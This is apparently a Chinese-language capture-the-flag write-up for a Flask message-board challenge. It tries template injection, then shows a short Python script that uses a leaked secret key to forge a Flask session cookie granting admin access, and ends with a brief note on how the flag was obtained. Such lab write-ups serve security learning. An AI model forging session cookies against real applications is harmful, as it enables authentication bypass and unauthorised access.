Flask Message Board

Flask Message Board

十一月 25, 2021

刷题记录

题目说了是flask框架那就是ssti

![](屏幕截图 2021-11-25 121236.png)

可以在title,author,content中尝试

![](屏幕截图 2021-11-25 122120.png)

发现注入点在author

尝试ssti

![](屏幕截图 2021-11-25 122247.png)

![](web4-1/屏幕截图 2021-11-25 122431.png)

报错

看到下面

![](屏幕截图 2021-11-25 122602.png)

有个过滤模型,所以想在author处ssti就很难,但是天无绝人之路,在最底下发现了admin页面,进入页面发现自己不是admin用户,而且识别是否为admin是用session进行的

![](屏幕截图 2021-11-25 123107.png)

flask有自己的一套session的生成方法,需要一个密钥来生成,我们伪造session也需要密钥,看看密钥在不在配置文件里

![](屏幕截图 2021-11-25 163440.png)

找到了密钥

接下来写我们的伪造session脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask
import re,sys
from flask.sessions import SecureCookieSessionInterface
secretkey='||li1|l|llliIl1Ii1Ii|1I|I|I|iI11|I|1i|I|'
class App(object):
def __init__(self):
self.secret_key=None
app=App()
app.secret_key=secretkey
s=SecureCookieSessionInterface()
se=s.get_signing_serializer(app)
session=se.dumps({'admin':'true'})
print(session)

运行结果

![](屏幕截图 2021-11-25 165257.png)

将cookie中的session换成该值

访问成功

![](屏幕截图 2021-11-25 165710.png)

看到有上传文件的功能,试下能不能文件上传

![](屏幕截图 2021-11-25 170143.png)

但是没有回显,不知道有没有上传成功,就算上传成功了也不知道文件的位置

查看网页源码

![](屏幕截图 2021-11-25 170558.png)

![](屏幕截图 2021-11-25 170635.png)

访问给出的路由得到源码和模型

![](屏幕截图 2021-11-25 171050.png)

实在是看不懂了去找了官方wp

因为这样那样,在connet输入1024个字节就能拿到flag